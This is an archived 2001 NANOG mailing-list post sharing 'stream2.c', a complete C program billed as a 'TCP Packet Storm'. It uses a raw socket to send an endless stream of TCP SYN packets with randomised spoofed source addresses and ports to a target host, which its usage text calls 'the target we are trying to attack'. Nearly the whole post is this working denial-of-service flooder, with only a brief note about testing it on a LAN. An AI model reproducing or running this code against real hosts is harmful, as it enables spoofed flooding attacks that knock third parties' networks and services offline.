Stream2
Jason Legate
jlegate at latency.net
Wed Jan 31 02:42:23 UTC 2001
This is thrown together partially from the original sources of stream, and
partially from my own ramblings, it was a quick and dirty hack, so there
are parts of it that are messy. For testing purposes on a lan, if you
want to verify packet headers, and not send as fast as it can, you can
define SLOW.
This version has the fixed tcp cksum, and a MSS window of compile-time
definable size.
--- stream2.c ---
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/socket.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
/*
* QUIET controls whether to print out errors (can be very noisy, if this is
* undef'd, when buffers are full)
*
* SLOW adds a nanosleep (rounded to nearest clock tick), for pacing stream
* - NOTE: This really slows it down
*
* TCPFLAGS sets what kind of tcp packets to generate
*
* _TCP_MSS sets the MSS value (1460 recommended) unless the OS includes have
* a value already set
*/
#define QUIET
#undef SLOW
#define TCP_FLAGS TH_SYN
#ifndef _TCP_MSS
#define _TCP_MSS 1460
#endif
struct ip_hdr {
u_char ip_hl:4,
ip_v:4;
u_char ip_tos;
u_short ip_len;
u_short ip_id;
u_short ip_off;
u_char ip_ttl;
u_char ip_p;
u_short ip_sum;
u_long saddr;
u_long daddr;
};
struct tcp_hdr {
u_short th_sport;
u_short th_dport;
u_long th_seq;
u_long th_ack;
u_char th_x2:4,
th_off:4;
u_char th_flags;
u_short th_win;
u_short th_sum;
u_short th_urp;
u_char th_option;
u_char th_oplen;
u_short th_mss;
};
struct pseudo_hdr {
u_long saddr;
u_long daddr;
u_char mbz;
u_char ptcl;
u_short tcpl;
};
struct packet {
struct ip_hdr ip;
struct tcp_hdr tcp;
};
struct packet packet;
struct pseudo_hdr pseudo;
struct sockaddr_in s_in;
u_long dstaddr;
int sock;
void usage(char *progname)
{
fprintf(stderr, "Usage: %s <dstaddr>\n", progname);
fprintf(stderr, " dstaddr - the target we are trying to attack.\n");
exit(1);
}
inline u_short ip_cksum(u_short *ipH, u_short len)
{
u_short answer;
u_long sum = 0;
int i;
len >>= 1;
for(i=0;i<len;i++)
sum += (*ipH++);
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return(~sum & 0xffff);
}
inline u_short tcp_cksum(u_short *ipH, u_short IPlen, u_short *tcpH, u_short TCPlen)
{
u_short answer;
u_long sum = 0;
int i;
IPlen >>= 1;
TCPlen >>= 1;
for(i=0;i<IPlen;i++) {
sum += htons(*ipH++);
}
for(i=0;i<TCPlen;i++) {
sum += htons(*tcpH++);
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return(~sum & 0xffff);
}
u_long lookup(char *hostname)
{
struct hostent *hp;
if ((hp = gethostbyname(hostname)) == NULL) {
fprintf(stderr, "Could not resolve %s.\n", hostname);
exit(1);
}
return *(u_long *)hp->h_addr;
}
void flooder(void)
{
int i;
time_t start, end;
#ifdef SLOW
struct timespec ts;
ts.tv_sec = 0;
ts.tv_nsec = 1;
#endif
memset(&packet, 0, sizeof(packet));
packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
pseudo.ptcl = packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x10;
packet.ip.ip_id = rand();
packet.ip.ip_len = 0x2C;
packet.ip.ip_off = 0x4000;
packet.ip.ip_ttl = 64;
pseudo.daddr = packet.ip.daddr \
= dstaddr;
packet.tcp.th_flags = TCP_FLAGS;
packet.tcp.th_win = htons(65535);
packet.tcp.th_seq = (random() >> 16);
packet.tcp.th_ack = htonl(0);
packet.tcp.th_off = 6; /* 6 */
packet.tcp.th_urp = 0;
packet.tcp.th_sport = htons(rand());
packet.tcp.th_dport = htons(rand());
packet.tcp.th_option = 0x02;
packet.tcp.th_oplen = 0x04;
packet.tcp.th_mss = htons(_TCP_MSS);
pseudo.mbz = 0;
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = dstaddr;
s_in.sin_port = packet.tcp.th_dport;
pseudo.tcpl = htons(sizeof(packet.tcp));
srandom((time(NULL) ^ getpid()) + getppid());
for(i=0;;++i) {
pseudo.saddr = packet.ip.saddr = random();
while((pseudo.saddr & 0x0A000000) || (pseudo.saddr & 0xACA00000) || (pseudo.saddr & 0xC0A80000) || (pseudo.saddr & 0x7F000000))
pseudo.saddr = packet.ip.saddr = random();
packet.ip.ip_id = rand();
packet.tcp.th_sport = rand();
packet.tcp.th_seq = random() >> 18;
packet.tcp.th_dport = s_in.sin_port = rand();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
packet.tcp.th_sum = ntohs(tcp_cksum((void *)&pseudo, sizeof(pseudo), (void *)&packet.tcp, sizeof(packet.tcp)));
packet.ip.ip_sum = ip_cksum((void *)&packet.ip, sizeof(packet.ip));
#ifndef QUIET
if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0)
perror("stream");
#else
sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in));
#endif
#ifdef SLOW
nanosleep(&ts, NULL);
#endif
}
}
int main(int argc, char *argv[])
{
int on = 1;
printf("stream.c v2.0 - TCP Packet Storm\n");
if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(1);
}
setgid(getgid()); setuid(getuid());
if (argc < 2)
usage(argv[0]);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(1);
}
srand((time(NULL) ^ getpid()) + getppid());
printf("\nResolving IPs..."); fflush(stdout);
dstaddr = lookup(argv[1]);
printf("Sending..."); fflush(stdout);
flooder();
return 0;
}
More information about the NANOG
mailing list